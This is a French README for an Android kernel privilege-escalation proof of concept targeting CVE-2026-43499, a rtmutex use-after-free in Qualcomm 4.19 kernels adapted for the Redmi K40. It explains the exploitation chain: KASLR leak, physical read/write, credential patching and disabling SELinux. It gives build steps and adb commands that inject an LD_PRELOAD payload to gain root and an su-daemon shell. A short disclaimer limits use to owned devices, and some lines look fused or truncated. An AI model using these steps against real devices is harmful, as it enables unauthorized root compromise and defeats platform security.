
PoC LPE pour noyau Android pour CVE-2026-43499, un use-after-free rtmutex dans les noyaux Qualcomm 4.19, adapté pour le Redmi K40 avec une charge utile root LD_PRELOAD.
Élévation de privilèges locale exploitant CVE-2026-43499 — un bug rtmutex
remove_waiter() qui laisse un struct rt_mutex_waiter pendant sur la
pile noyau du waiter (kernel/locking/rtmutex.c, CWE-416 use-after-free).
Adapté de
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) pour une famille de noyaux vendor
Qualcomm Android 4.19.x.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() appelle remove_waiter() qui
opère sur current au lieu de waiter->task — déqueue rb-tree sans
pi_lock, pi_blocked_on pendant, menant à un UAF de pile noyau.
Affecté jusqu'aux versions corrigées 5.10/5.15/6.1/6.6/6.12/6.18/7.0 ; 4.19 n'a
pas de backport (EOL), donc 4.19.157-perf est affecté.src/ sources de l'exploit adaptées (preload.so)
src/targets/oplus-4.19.157-perf/target.h table d'offsets par appareil (dérivée de kallsyms)
prebuilt/ artefacts compilés (aarch64)
adaptation-4.19.patch diff complet vs. le code upstream Pixel (6.x)
Makefile, build.sh points d'entrée de build
configfs_read_file / configfs_write_bin_file sont placés aux slots fops
.read/.write (signatures 4.19), et la primitive de lecture utilise la disposition
simplifiée de faux buffer count/page/ppos=0/dev/ashmem) absent sur ce noyau — longueur de préfixe 0selinux_blob_sizes n'existe pas sur 4.19 → cred->security direct
(SELINUX_CRED_BLOB_OFF=0) ; struct seccomp n'a pas de filter_countASHMEM_MISC_FOPS = slot miscdevice.fops (ashmem_misc + 0x10)Linux / WSL avec Android NDK :
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Sorties : prebuilt/preload.so (payload LD_PRELOAD) et un su_daemon PIE
embarqué.
Nécessite un shell ADB (un adb shell normal et non privilégié suffit — l'exploit
s'exécute entièrement sans privilèges et s'élève lui-même).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Variantes one-liner optionnelles :
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Chaque ligne pr_* est mirrorée sur disque avec un write()+fsync() immédiat afin que
la trace survive à un kernel panic/reboot :
/sdcard/Download/log_<timestamp>.txt
Chemins de repli si /sdcard est indisponible : /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Marqueurs clés du journal :
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload chargéslide-kaslr-ok ... base=... — base KASLR récupéréepipe-physrw-summary ... root=1 ... — phys RW installéuid_before=... uid_after=0 ... selinux=1->0 — creds patchésUNVERIFIED avant sa première tentative — cette
étape est celle à ajuster par appareil en utilisant ce journal.target.h et journalisées comme
UNVERIFIED à l'exécution. Itérez sur l'appareil en utilisant le journal fsync.CONFIG_STATIC_USERMODEHELPER=y sur ce build désactive les astuces de chemin modprobe ;
le chemin principal est le patch direct de cred./proc/kallsyms) et /proc/slabinfo avant déploiement.Apache-2.0 (upstream : NebuSec/CyberMeowfia). Pour la recherche en sécurité et le root d'appareils autorisés uniquement. À utiliser sur du matériel que vous possédez.